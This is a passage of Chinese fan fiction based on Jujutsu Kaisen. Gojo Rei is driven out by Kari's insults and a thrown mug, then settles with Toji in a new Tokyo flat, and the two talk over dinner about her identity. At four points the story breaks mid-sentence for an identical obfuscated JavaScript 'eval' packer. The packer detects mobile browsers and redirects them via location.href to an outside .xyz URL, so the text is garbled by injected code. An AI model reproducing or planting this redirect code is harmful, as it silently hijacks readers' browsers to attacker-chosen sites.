把最后一件毛衣叠好,塞进纸箱里。自此,狭窄的楼梯间终于找回了空空荡荡的感觉,正如来到这个家的第一天。五条怜捧起箱子,带着重量的棱角压得指节发痛。 不想再多看熟悉的房间,她蒙头往外走,落地窗外的大海却在不经意间闯进视野中,依旧是灰黑的暗淡颜色,倒映出的是阴雨的天空。或许夏梨姐也在看着这片不再美丽的海吧。 一整天了,从昨天惊天动地的分手闹剧结束之后,她就没有见到夏梨了。夏梨始终窝在她的卧室里,没有迈出一步,更不曾说出道别的或是挽留的话语。她究竟在做什么呢?五条怜不知道。 真的要这么悄无声息地、连招呼都不说就离开吗?这个问题的答案,她依然不知道。 片刻的思索后,她放下了纸箱,从里头翻找出了深蓝色的发带,双手拢起披散在肩头的发丝,用力束紧——她的卷发已经失去和夏梨相似的漂亮卷度了,但终于长到可以扎起的程度,偶尔她会对此感到庆幸。 讨厌短发,讨厌过去不得不剪短头发……算了,别再想了。 这些题外话并不重要。 即便已经拿定了主意,她还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775319|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自觉犹豫了一瞬,而后才踏上台阶。 每登上一级,心跳就会变得稍稍急促一点,跳动声比足音更激昂。好不容易鼓起的勇气,也几乎要被过快的心跳磨光。 待到终于抵达二楼,怯懦感已经要探出脑袋了。五条怜用力拍拍脸,意料之中的刺痛感吓退了怯懦虫。她加快步伐,来到卧室前。 房门虚掩着,透出点亮的灯光,落进昏暗的走廊,她的影子被拉的很长。透过这道窄小的缝隙,夏梨的身影似乎也被挤压成了一条细线,孤独的哀戚顺着颤抖的线条流淌着,不知何时才能停息。 轻轻地,五条怜推开门。夏梨就坐在床上,但她一时不知道该说什么才好。 夏梨已经不再哭了,也可能是她流干了眼泪,只余下哭花的眼妆在脸颊上留下泪水的痕迹。 她此刻呆坐着,依旧是昨天那身衣服,干涸的目光盯着被子的褶皱,头发也乱糟糟的,往日健康漂亮的小麦色皮肤泛着灰青得如同橄榄般的色泽,也不知她昨晚是否睡过了。 房间一角,通往衣帽间的门敞开着,但衣架上却空了好几块——甚尔已经拿走了他留在这里的所有东西,腾出的空缺正好适合摆下此刻的痛苦。 抵在门框旁的手在发抖。迟疑着,五条怜轻轻唤她:“夏梨姐……” 过了几秒钟之后,夏梨才抬起头,空洞干涸的眼眸中毫无情绪,她只动了动苍白的嘴唇:“你来干嘛?” 是啊,她来做什么呢?说实话,五条怜自己也不知道。 “我来……”她不停地抹着门框,指甲几乎要嵌进木头的缝隙里,“我想过来和你道别。” “哦?”她的反问像是轻蔑的笑,“东西都收拾好了,准备走了?” 明明是很正常的一句询问,不知为何让五条怜觉得很罪恶。她艰难点头:“是的。” “行吧,你们都走了最好。我无所谓。” 一听便是逞强的话语,五条怜不知道该怎么回答。她还是觉得好难受,罪恶感折磨着她。她向夏梨走近。 “夏梨姐,我……” “你到底要过来干什么?”她猛地站起,充满血丝的赤红双眼瞪着五条怜,“想近距离欣赏我现在的可怜模样吗?” “没有,我只是……” 未尽的话语再次被打断:“滚远一点啊,我可不要被你这种家伙怜悯!” 你这种家伙……“你这种家伙”是怎样的家伙? 就像是为了解答此刻的困惑,夏梨指着她的鼻子,歇斯底里地跺着脚咆哮。 “只要施舍你一点好的,你就会巴巴地跟在别人后头,真像一条狗,难怪会年纪轻轻就被人哄着生了孩子!在别人读书学习的时候你却只能当个少女妈妈,尊严和未来全部泡进臭烘烘的尿布里,丢死人了,光是想想我都觉得丢脸死了。禅院怜,你自己不觉得羞耻吗?” 夏梨抓起手边的东西,朝她丢过来。 “知道吗?我啊,最看不起你这种人了!” 43.马克杯 有什么东西朝着自己飞过来了。 黑色的、巨大的一团,以惊人的速度扑过来。所以到底是什么东西来着?过分的惊愕感大概是把眼睛也变得麻木了,一点也看不清。 当这些想法接连从五条怜的脑海中浮现时,她意识到,自己很可能已经躲不开了。即便如此,她还是下意识地侧过了身子。 那团黑色的东西擦着脸颊过去,而后勾住了耳朵,扯着她一起伴随重力下坠。意料之中的骇人疼痛是在几秒钟之后才降临的,黑色东西挂在了右耳的耳钉上,扯着刚刚愈合的脆弱耳垂伴随重力下坠。 五条怜惊恐地拉扯着挂在耳钉上的东西,疼痛感让她忍不住总想眯起眼,于是眼前的夏梨再度被压缩成了一道细长的影子,气恼与愤怒却依旧鲜明,怎么也无法忽视。 艰难而盲目,但终于扯掉了,当“扑”的一声落在地上时,五条怜才发现,原来夏梨丢过来的是一件黑色外套,双C的刺绣标志好刺眼。 她的耳朵火辣辣地刺痛着,比最初的贯穿伤口还要更疼,耳鸣声一阵接着一阵。真希望此刻恼人的耳鸣声能够早一些响起。如此一来,说不定她就不会听到那些辱骂了。 可惜不行,话语已经切实地落进了耳中,顺势滑落到胸腔里,刺得心脏千疮百孔。她有些不敢与夏梨对上视线了,难以置信目光只敢落在地面,看着自己的影子在灯光下摇晃不止。 原来夏梨一点也不喜欢她,甚至鄙夷她。先前一切的好,当真只是爱屋及乌,所以夏梨才能用不属于她的名字怒骂着她。 或许,可以当作她是在辱骂别人——某位真正叫做“禅院怜”的人。 即便用自我安慰的愚蠢念头宽慰自己,痛楚依旧如同潮水,一波一波席卷而来。 是不是该做点什么呢,或者说点什么?为自己辩解,还是沉默着接受所有责骂,因为夏梨确实沉浸在莫大的痛苦之中? 无法决定。 五条怜怔怔地站在原地,视线躲避着夏梨,飞速思考的大脑给不出任何具象化的举措,只有耳垂的疼痛如此切实。而在夏梨看来,什么都不做的她哪怕只是立在眼前,也是无比恼人的存在。 愤怒感——或许其中还裹挟着很多的仇恨与耻辱——无限膨胀,夏梨抓起了床头的马克杯,用力砸过去。 “想同情我吗?我不需要!”她瞪着五条怜,恨恨的目光像是在看一个仇人,“快点,滚出去啊!” 马克杯撕裂了房间内沉闷的空气,呼啸出骇人的声响。或许自己就该被这个杯子砸中,如此一来夏梨姐说不定就会冷静下来了。 五条怜怀揣着这般荒诞的想法,甚至开始思索着要去实现这一念头,可双腿却自顾自地后退了两步。她习惯性侧过身,抬手护住脸,马克杯擦着发丝飞过,撞碎在门框上,落了满地尖锐碎片。 喘息声。 听到了夏梨激动的喘息声。抬起眼眸,能看到站在楼梯口的熟悉身影。甚尔站在那里。 不知道他是什么时候过来的,也不清楚他究竟对这场闹剧旁观了多久,更无法知晓此刻他的心中会想些什么。昏暗灯光下的他如同谜题的聚合体,一如既往。五条怜狼狈地收回目光,但好像晚了点。甚尔正朝她走来。 “拿着。”他说着,把什么东西递了过来,“先到车上等我。” 五条怜茫然,但还是接过:“啊……好。” 拿到了手中,才发现是那把吉他——并不是什么特别重要的,必须由她亲自带到车上的行李。 甚至,就这么把它留在夏梨的家里,也完全没关系。 果然还是猜不透他在想什么,五条怜忍不住出声:“我——” “去车上吧。” 甚尔轻轻推着她。 大概没有什么争辩的余地了。况且在关于吉他的小问题上,确实不存在多少争辩的价值。 压低了脑袋,五条怜闷头往前走,拖沓的脚步落在木地板上,砸出咚咚的声响。 脚步声愈发沉重、愈发急促,回过神来,她越走越快,竟然已经跑下了楼梯,慌乱地趿着帆布鞋冲出家门,闯入大雨之中,潮湿的水汽捂得她几乎要喘不上气。 车就停在门口,短暂的一段路程只淋湿了肩头。她逃进副驾驶座,大口大口地喘息,心跳得前所未有的快,怎么也冷静不下来。 大脑是在几分钟之后才稍稍安静下来的,却自说自话地不停播放着夏梨歇斯底里的模样,还有她向自己掷来马克杯时狰狞愤怒的面孔。也忍不住回想着自己是怎么跑出那个家的……啊,离开的时候,好像听到夏梨姐在哭。 湿漉漉的寒意从肩头钻进身体里了。五条怜抱着膝盖,依旧在不由自主地回想。 又想起来了一点。在自己离开之后,甚尔走进了卧室,所以夏梨才开始哭的。 所以现在是怎样,他又要开始哄大小姐了,即便在他听到她说了那么过分的话之后?或许他们会就此复合,然后自己与禅院惠就此成为夹在中间最为尴尬的存在?再之后,保不齐会重新搬回镰仓的这处别墅,睡在楼梯间的自己真正地成为被家人嫌弃的哈利波特? 家人……他们怎么算的上是自己的家人。 五条怜低下头,把脸埋进臂弯里,手臂压住了耳垂。好痛。 糟透了。 不管哪种可能性,全都糟糕透顶。就连没有家人的自己和痛到让她想吐的耳洞也是一团糟。 “呜哇——” 被安置在后排的禅院惠不由分说地哭起来,五条怜装作没听到。 她已经没精力去哄孩子了。 还是遵照育儿专家的指南,让禅院惠在无休止的哭闹中成长为一个独立的好孩子吧。 挨过最猛烈的一阵哭声,小海胆的动静开始一点一点消停下来了,化作微弱的哼唧声,尽管连绵不绝,但总比刚才的索命哭号好太多了。 果然,放着不管也是一种有效的应对方针。就这么继续哼唧着哼唧着,马上就能…… 咔哒——砰! 车门忽地被打开,而后又猛地被关上,巨大的噪音像是丢进小谭里的石头,一下子掀起了水花。小海胆被吓哭了,哇哇地叫个不停。 “不是吧……”驾驶座传来叹息声,“怎么又开始哭了?” 五条怜一怔,匆忙抬起头。甚尔已经坐到了驾驶座上,皱起的面孔写满嫌弃。她总以为甚尔要差使自己赶紧去哄孩子了,但直到扣上安全带,他都没有说出类似的话……哎,等一等。 甚尔把安全带扣上了? 难以置信地眨眨眼,五条怜生怕是自己看错了。 “您没和夏梨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779738|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐……和她复合吗?”她忍不住发问。 “啊?”甚尔搞不懂她在说什么,“复合什么复合,昨天不是都已经搞定了吗?” “唔……好。” “今天也真是吃够苦头了。” 他疲惫地叹了口气,抬起手,把额前的碎发尽数梳到脑后,粗硬的发丝定型不了半秒钟便落回到了原处。完全是在做无用功嘛。 她这般胡思乱想着,忽然甚尔用手指戳了戳她的肩膀 “安全带系好。”他把好好的一句提醒说得像是要挟,“不然罚款你帮我付。” “好的好的。” 一叠声地应着好,五条怜赶紧扯过安全带,心想,虽然甚尔的语气恶劣,但说的也算是好话。难道他确实旁听到了自己与夏梨的所有争吵吗?总觉得很有可能呢。 五条怜低着头,慢吞吞扣上安全带,目光却偷偷地往旁边瞟,打量着甚尔的表情,想从其中找到一点佐证自己的猜想的证明,不过他气恼地耷拉着的面孔没有透露出半点温柔的情绪,看来自己是猜错了。 另外,大概是眼花了,也可能是庭院灯光的缘故,在甚尔左侧的脸颊上,有一团淡红色的圆形痕迹。尤其在他拉扯嘴角时,红痕显得更加明显。 往下看去,他的脖颈上也有几道浅红色的划痕,像是指甲留下的痕迹,看着有点痛。 在她离开夏梨的卧室之后,到底发生了什么呢?猜不到答案,但好想知道。 一不小心,偷摸摸的打量变成了光明正大的注视。甚尔当然发现了她的目光,无奈地撇了撇嘴。 “盯着我干嘛?” “没、没干什么!”五条怜尬笑几声,“我没有看您呀。” 明显的谎言。 甚尔懒得戳穿她,轻哼一声,旋动了车钥匙。引擎转动出轰鸣声,收音机正播放着不知哪个年代的老歌。掰正了车内后视镜,他的视线不经意间落在镜面倒影中低着头的少女。 “还有,你的耳朵。”他的语气仍是生硬的,“流血了。” 她伸手去摸:“……啊。真的。” 好不容易愈合的耳洞开裂了,幸好不是什么骇人的伤口,只是渗出的血不知不觉濡湿了发梢。特地系上的深蓝色发带早已不翼而飞,一定是落在了那个家的某个角落。 五条怜抬起手,想用衣袖擦干净血,却迟疑了。她穿了一件白色的上衣,如果染了血,一定很难洗干净。 像是看出了她的纠结,甚尔从后排抓了一件黑色外套,丢到她的手里。 “用这个。” 五条怜摊开衣服,过大的尺寸显然不是他的所属物。“会弄脏的!”她匆忙说。 “没事。”甚尔并不介意,“用吧。” “……好吧。” 她慢慢低下头,把脸埋在衣服里。柔软的布料早已吸干了鲜血,但她许久都没有抬头。 甚尔踩下油门,车缓缓泊出海滨别墅的地界。车灯在昏暗路面投下满是水泽的光,雨一点也没有停下。 闷闷的,从身旁的那团衣服里,传出了声音。 “我们要回家了,是吗?” 五条怜问他。 答案很简单,也很明确。可甚尔却不由得迟疑,在片刻的沉默后,才点了点头。 “对。我们回家。” 44.谷饲牛 穿破雨幕,驶入黑夜,雨刮器咔哒咔哒响个不停,一次次拂去前窗玻璃上的水渍。 待到驶入东京时,雨势忽地减小了不少。抵达新宿,最后那点零星的雨丝也消失无踪了,但湿漉漉的空气里还是掺杂着雨天特有的泥土气味。 甚尔在这个街区绕了三圈,终于找到了即将成为自己新家的那栋塔楼。然后再绕上四圈寻找停车位,总算是能够结束这段长长的路途了。 “喂喂。”他推了推副驾驶的五条怜,“醒一醒,到家了。” “啊!” 五条怜从梦中惊醒——至于做了怎样的梦,她一点都想不起来了。地下车库的灯光不太明亮,昏暗环境让她一度以为自己还在那栋镰仓的别墅里。 搓搓脸,再理理头发,耳朵还是有点痛,这点痛楚也帮助她稍微清醒了一点。 “既然睡醒了,那就开始干活吧。” 她打了个哈欠:“好……” 真没想到,在短短的半年之内居然要经历两次麻烦的搬家,还都是远距离的路途,真该感谢甚尔先生。 要搬的行李不算太多,本着高效率原则,五条怜一口气捧起三个纸箱,垒起的箱子挡住了视线。跟着甚尔湿漉漉的足迹,她艰难地往前走。 “贪心。”甚尔忽然说。 ……是在说她吗? 五条怜歪过脑袋,可惜纸箱太宽了一点,把视野遮挡得严严实实的,根本看不清甚尔说出这话时究竟是怎样的表情,也无从得知“贪心”的评价是不是给她的了。但八成就是这样没错。 此刻倒是要感谢箱子的遮挡了,她郁闷地撇了撇嘴,谁都没有发现。 “说起来,就这几个箱子,搬完就结束了,对吗?”她向甚尔确认,“那些咒具去哪儿了?” 想起甚尔以前放在橱柜和床底下的那些咒具,在第一次搬家去镰仓的时候好像就没有见到了,现在的这几个纸箱里更是没有半点咒具的诅咒气息溢出。她很好奇。 甚尔按下电梯按钮,走在身后的三个箱子毫不意外地撞在了他的背上,他无奈地扯扯嘴角:“存到仓库里了。总不能让大小姐觉得我是带着管制刀具的危险分子吧?” 五条怜回想着甚尔拿刀的样子……嗯,确实同危险分子如出一辙。 总计二十八层的塔楼公寓,要苦等五分钟,才能等来一架下行的电梯。然后再苦等五分钟,方可抵达目的地。 “该走了。” 甚尔提醒她,不知道为什么很像在扮演导盲犬的角色。 于是颤颤悠悠往前走。湿哒哒的鞋底也快干透了,看不清足迹,只好全凭一腔直觉了。不经意间,纸箱又撞上了甚尔——他正停住脚步开门呢。 “你啊。”他恼怒地转头,毫不意外地又被纸箱挡住了视线,气恼感一下子没了归处,抱怨的话语也显得软绵绵的了,“小心一点啊你。” 纸箱哆哆嗦嗦:“抱歉抱歉……我会当心的。” 他推开门:“好了,往前走吧。” 迈进家里,终于能够放下碍事的纸箱,也总算能够看到这个家的模样了。五条怜揉揉眼睛,有些难以置信。 意外的,这间房子又大又宽敞,带着一点油漆的刺鼻臭味,但这并不要紧。正对客厅的落地窗外,是繁华的都市夜景,东京塔在诸多高楼之间露出一抹尖锐的红色。 而在这扇窗户的内侧,是空旷到一件家具都看不到的、装修痕迹少得可怜的、只比毛坯房好上一点的——主要好在至少铺了地板刷了墙壁造了吊顶——空空如也的、过分崭新的,他们的家。 五条怜左右望了望,又忍不住去看甚尔的表情。没想到在他的脸上,居然也露出了一点点的意外的后悔。 “失策了!”他扼腕叹息,“应该和那老头子说好,要一套精装修的房子才对!” “……” 狮子大开口地要了一套超好地段的大平层不说,居然还想要挑挑拣拣。甚尔先生,要求很高呢。 她暗戳戳地在心里想着,当然是没把这些念头说出口,只问他接下来该怎么办。 “连床都没有呢。”又环顾了一圈,五条怜发现了这个噩耗。 甚尔瞄了眼手表,轻轻咋舌:“家居店现在都已经关门了……算了,今晚暂且将就一下吧。先吃饭再说。你想吃什么?” 话题一下子落在了自己身上,她匆忙回过神来:“你问我呀?” “我总不能问惠吧?” “唔——您说的是。” 毕竟这里只有他们两个人嘛。 五条怜想了想,很认真地琢磨着,可惜大脑一片空白,得不到半点灵感。 一整天都忙忙碌碌的,没有吃太多东西,可她不太饿。估计是早已饿过了劲,连饥饿感也被消化掉了。 想不到合适的答案,她只好讪笑:“什么都可以。” “……我还不如不问。” 甚尔叹气,结果选择权还是落在了他的身上。 操劳了一天,思来想去果然还是要用肉来消除疲惫。暂且先把禅院惠放在家里——毕竟这小子可不愁吃的。 “把惠惠一个人放在家里不要紧吗?”五条怜总有点担心,“是不是有人看着更好呢?” 甚尔摆摆手:“最多就一个钟头,有什么要紧的?以前不都是这样的吗。你别被保姆宠坏了。” “……哦。” 虽然有点不满,但他说得好像确实有道理。总之下楼逛了一圈,街对面的寿喜烧小店还在营业,简直是完美的选择,干脆不再多纠结,直接步入了店里。 看起来门面小小的店铺,内部倒还算宽敞。点了一份和牛寿喜烧,再豪横地追加了三碟牛肉。这家店以优质的谷饲和牛最为得意,店内挂着的小电视都在播放谷饲牛的饲养纪录片。 等待寿喜锅上桌的时间乏味无趣,甚尔和五条怜没有多少共同话题可聊,只能无聊地盯着电视,旁观谷饲牛的成长过程。 “我们的牧场位于北海道,引进优质国产肉牛品种,选用当地原产的谷物饲料,根据科学饲养法,为每一头牛搭建面积最为适宜的饲养空间,定时播放舒缓音乐,让每一头牛都生活在愉快满足的环境之中。” 还能听音乐呢?比她过得幸福。 画面上,棕色的或是黑色的谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784527|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饲牛整齐地排列在方格的围栏中,低着头,在食槽中啃食干粮,并不宽敞的空间只能允许勉强转身,它会不会认为世界只有这么大? 五条怜没由来地想。 寿喜烧上桌了。雪花纹路的牛肉切成薄片,叠成弧形,在蔬菜与豆腐上铺成漂亮的圆圈。店员点燃炉子的火,咕嘟咕嘟声中,雪花般的脂肪融化成半透明,粉色的牛肉一点一点转为棕褐色。屏幕上的牛依然吃个不停。 “优良的品种、优质的饲料、科学的养殖方式。优秀的一切,只为打造出最为骄傲的国产牛肉。” 咕嘟咕嘟。咕嘟咕嘟。 牛还在吃草,牛肉已经熟透。脑海像是响起了咔哒一声。 ……是了,是谷饲牛啊。 华原夏梨,也是一只谷饲牛。 五条怜眨眨眼。 她想明白了。 那是一只用大量的金钱和有限的自由饲养出来的、有朝一日会被端上餐桌的谷饲牛,所以夏梨想做什么就能做什么,因为在出栏之前——在父亲将她嫁去大阪之前的每一秒钟,都该是幸福的。 想明白了,饥饿感好像也回来了,空空如也的肚子拧出酸涩的“叽——”一声。她拿起筷子,这才发现面前的一坨牛肉居然在悄然之间消失无踪了。 与此同时,甚尔夹了一大筷子的牛肉,正准备把战利品放进碗里。注意到五条怜难以置信的目光,他笑出了声。 “现在活过来了?”他说。 五条怜不懂他的意思:“我刚才也不是死的。” 她伸出筷子,不由分说地夹走了甚尔筷子里的牛肉,像是怕被追责那样飞快地塞进嘴里,把脸塞得鼓鼓囊囊,如同仓鼠。 甚尔惊了。 “你这家伙,怎么老爱抢我的东西吃?”他不满地撇着嘴,“护食吗?” 护食大概不是什么好话,不过五条怜还是很认真地点点头:“嗯!” “啧……”甚尔重新夹起一大筷子牛肉,嫌弃地说,“受不了你。” 受得了或是受不了,他们都坐在一次吃完了一整锅寿喜烧。而那骄傲到能在电视上不停循环播放的谷饲牛,吃起来好像也不算多么特别。 说不定只有虚有其表。五条怜想。 慢悠悠走回家。路过鲷鱼烧小店,她的脚步慢下来了,倏地被甚尔甩在身后。正想追上,他也停下了,回过头看她。 “干嘛不走了?”他问。 依然停在鲷鱼烧小店的档口前,她干脆说:“想买鲷鱼烧。” “那你快点。” “好!” 快快地点单付钱,刚出锅的滚烫鲷鱼烧来到了手里。五条怜小跑着追上甚尔。 “哎。”甚尔指了指她的鲷鱼烧,“分我一点。” “……哦。” 早知道他也要吃,就多买一个了。 五条怜藏起这点不情不愿,捏住鲷鱼烧。轻轻一掰。鱼头鱼尾分成了非常不均匀的两半,巨大的鱼头和小小的鱼尾,对比有点过分鲜明了。 所以,哪一半归哪一位呢? 这是个值得思考的、且相当没有价值的问题。 45.鲷鱼烧 拳头大的鲷鱼烧脑袋和三指长的鲷鱼烧尾巴,怎么看都是好不平衡的分配。五条怜懊恼着自己的垃圾手艺。 要是能够掰得再平均一点,哪还用得着苦恼谁吃哪一半这种烦心事呀! 可惜没有“要是”,而且她也没有精准切分鲷鱼烧的自信。再来一次,说不定反而会分得更加不平衡呢,她想。 现状无法改变,还是想想怎么处置才比较合适吧。 五条怜已经开始权衡起这两块鲷鱼烧的优缺点了。 鱼头部分的鲷鱼烧最大块,裹着一大团红豆馅,是毋庸置疑的最佳选择,但红豆馅里还藏着滚烫的热意,要是不小心,保不齐会被烫到。谁都不会喜欢舌头隐隐作痛的感觉吧。 至于鱼尾部分嘛,尽管只有小小的一点,却被烤得很脆,一口下去肯定咔咔作响,绝对是整个鲷鱼烧中最为精华的部分。就是体积实在太小了,就算吃的精光,也还是会觉得好不满足。 所以,该选哪个才好呢…… 纠纠结结的心思还没得到一个着落,很快就被打破了——甚尔伸手过来,招呼也不打一声,直接拿走了最大块的鱼头部分,毫不客气的咬了一大口,被烫到差点喷火。 “烫死了!”他嚷嚷着。 五条怜盯着一脸狰狞的甚尔,心情复杂。 该怎么说呢……她还以为自己能先选呢,毕竟她才是那个付钱买下鲷鱼烧的人嘛(虽然仔细想想她的钱也全都是甚尔给的),却被甚尔抢走了先机,还被拿走了最大块的部分(虽然要她先选的话八成也会因为不好意思而把大块鲷鱼烧拱手让人),怎么想都有点不甘心。 在看到他被烫得呲牙咧嘴之后,她又不由自主地冒出了一点窃喜的坏心思,明明知道这样很不好,可她的嘴角还是不受控地开始抽搐起来了。 不行不行,真的不能笑出来呀,这太不礼貌了! 甚尔瞥了一眼她刻意板起的面孔,真是好奇怪的表情。 “看我吃瘪有这么高兴吗?”他好无奈,嘴角都垮下去了。 “没有没有!” “你有话就直说,不要总让别人去猜你在想什么。很烦的。反正我是没有闲心去猜你的心思。” 她抿了抿唇,不自在地低下头:“……嗯。” 可你明明总能猜到我心里的事。她想。 气氛忽然变得有些沉闷,手里的鲷鱼烧也被风吹得失去了温度。甚尔又咬下一大口,酥脆的面衣裹着绵软的红豆馅,有点太甜了。 “哎,我说。” 他停住脚步,回过头。不知不觉间,五条怜已经被落下好远了。 “今天夏梨的那些话,说得是很难听没错,但能靠自尊心换来点什么,已经是很不错的交易了。”甚尔说,看来这就是他认定的价值观,“总比丢了面子还一无所获好多了吧?” 那些尖酸刻薄的咒骂,他果然全都听到了呀。为什么那时候不说点什么呢? 没有任何感动的或是尴尬的念头,最先跳出来的想法居然是这个。真是罪过。 但五条怜确实没料想到他会主动提及夏梨的事情。坦白说,如果这话算是安慰的话,那一定不是什么满分的宽慰。 “唔……您说的没错。”她尽力点点头,依然觉得内心沉重。 非要跟“丢了面子的同时一无所获”这么极端的情况进行比较,确实是前者更好一点。但要是能有更多选择的余地,她可不想丢掉宝贵的尊严。 “我没有把她的话放在心上。” 五条怜决定说一点违心的谎话。 只要重复上一百遍,即便是虚假的谎言,也是能够成真的。而她要说的谎言是—— “她骂的那个人是‘禅院怜’,不是我。”她低下头,小声嘀咕,“我是……是五条家的‘怜’。” 沉默,短暂的沉默。 “事到如今,你的自我认同感还是‘五条’吗?” 甚尔的声音伴着晚风一起吹来,隐隐之中,似乎带上了一点戏谑感,大抵是在嘲笑她吧。这并不奇怪。 任何一个人听到她说出了这么不争气的发言,肯定都会想要予讽刺的。 他的话让五条怜觉得好不甘心。她知道自己应该反驳的,可话语却好像梗在了喉咙里,怎么都吐不出来,她只苍白地张了张嘴,没能发出半点声音。 手里的鲷鱼烧尾巴一点一点失去了温度,得快点吃掉才行了。 塞进嘴里,费劲咀嚼。 当真是耽误了太久,本该酥脆的面衣已经吸饱了空气中的水分,变得软趴趴的了。内里的红豆馅黏糊糊,口感好粗糙,似乎还掺杂着一丁点苦味,实在算不上是什么美味。即便如此,五条怜还是吃完了它。 一个问题解决了,还有一个问题在等待着答案——就是甚尔所说的那句“你的自我认同感还是‘五条’吗”。 真不想承认,这个问题她似乎(大概率是一定)答不上来。她不知道自己的自我认同到底是什么,也不确定她是否真的有自我。 毕竟,从名字到活着的意义,“五条怜”从来都不是独立存在的。五条怜很清楚这一点。 她垂低眼眸,用手一下一下抚平鲷鱼烧的包装纸,试图用温热的掌心将油纸上的褶皱熨平。这显然不是什么轻易就能达成的工作,于是她轻而易举地放弃了这份执念,转而把油纸叠起,仿佛只要把褶皱藏起,褶皱本身就不存在了。 听到甚尔轻哼了一声,显然是对她这份沉默的不满。她也意识到自己确实应该说点什么了。 “那么……禅院甚尔。” 油纸的一角抵在指尖上,五条怜的心跳得好快,她知道自己将要说出很不得了的话。 “你的自我认同,也还是‘禅院’吗?” 沉默,此刻也是沉默。 不敢抬头去看,所以五条怜也不知道甚尔摆出了怎样的表情。但她觉得现在还是不知道更好一点。 好像过了很久——其实并不太久。甚尔停住脚步,伸手去掰她的肩膀,迫使她面向自己,如此便能看到彼此的表情。五条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788321|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怜看到了一张阴沉到近乎漆黑的脸,而甚尔眼前的则是一副带着一点点怯懦与很多无所谓的面孔。 他看得想笑。 “哈?”短促的笑声听起来很像是威胁。 五条怜把油纸捏在手心里,让尖锐的角戳着皮肉。她的声音很轻:“您生气了吗?” “这已经不是生气或是不生气的问题了。”他忍不住咋舌,“你在报复我吗?” “我没有……为什么这么说?” “因为你故意把我说过的话重新丢给我了。” 她躲开甚尔的视线:“也不是故意……” 但仔细想想,她确实是处于某些目的才问出那句话的,而不是纯粹的无心之失。如此想来,称之为“故意”好像也没有问题? 看来有必要为自己解释一下才行了。 “您放心,我没有想要惹您生气的意思。” 这有什么好放心的?五条怜感觉自己说了句傻话。但没办法,她只能接着说下去了。 “您说过我们很像,对吧?所以我想知道,您的认同感是什么样的,如此一来,我就能跟在您的身后学习了。” 就像是冬日里踩着首领的脚步行走在雪地里的小狼崽那样,五条怜想要知道甚尔究竟是怎么想的。 也许她该失望了,因为甚尔自己也不知道他的自我认同感到底是怎么一回事。或许还和“禅院”挂钩,因为一想到那个家,他就来气;但也应该已经不再相关了,毕竟他早就离开了那个家,发生在那里的一切他都不再关心,而那个家也无视了自己的存在或是离去。这样的现状,谈何认同? 甚尔不打算让五条怜知道他在想什么。他依旧阴沉着脸,迈步往前走。 “我们很像,但并不一样吧?你不是我,我也不是你,所以你没必要把我当作妈妈鸟,跟在我身边叽叽喳喳不停,更用不着将我当成道德模范——啊,不对,我可没什么‘道德’可言。”他轻哼了一声,可能是在嘲弄她,也像是自嘲,“五条家的怜,直到现在,我都不知道你究竟是什么人。” 是了,直到现在,她还一直不曾说起过与自己有关的、更深入的事情。难道他很介意这一点吗?可是…… 五条怜僵在原地,无法迈步。 直到几乎要被彻底落下,她才不得不开口:“我是五条家的六眼的妹妹。” 甚尔没有停留:“这件事,我已经听你说起过了。” “嗯,是的……您是听过了。” 但她还有未曾告诉他的事情。 “在家主认定我失去了价值之前,我一直作为五条悟的——呃,该怎么描述呢……” 她有着和六眼相似的名字,曾经他们拥有几乎相同的面容。 他们是血脉相连的手足,但不仅仅只是如此。她到底是什么呢? 是六眼的替身?劣等的备用品?或者确切一点说,是用来分散一切会为六眼带来危险的存在? 无法给出定义。 五条怜是一个没有定义的存在。 46.五条怜 “前代的六眼在襁褓中遇袭,未满周岁便被诅咒师杀死,五条家的人恐惧到相同的惨剧再度发生,甚至连前代六眼的存在都不敢放入家族的记录中。为了不再重蹈覆辙,在阿悟——崭新的六眼出生的那天,本该和母亲一起死去的我诞生了。” 那个新生的孩子叫做被取名为怜(satoru)。 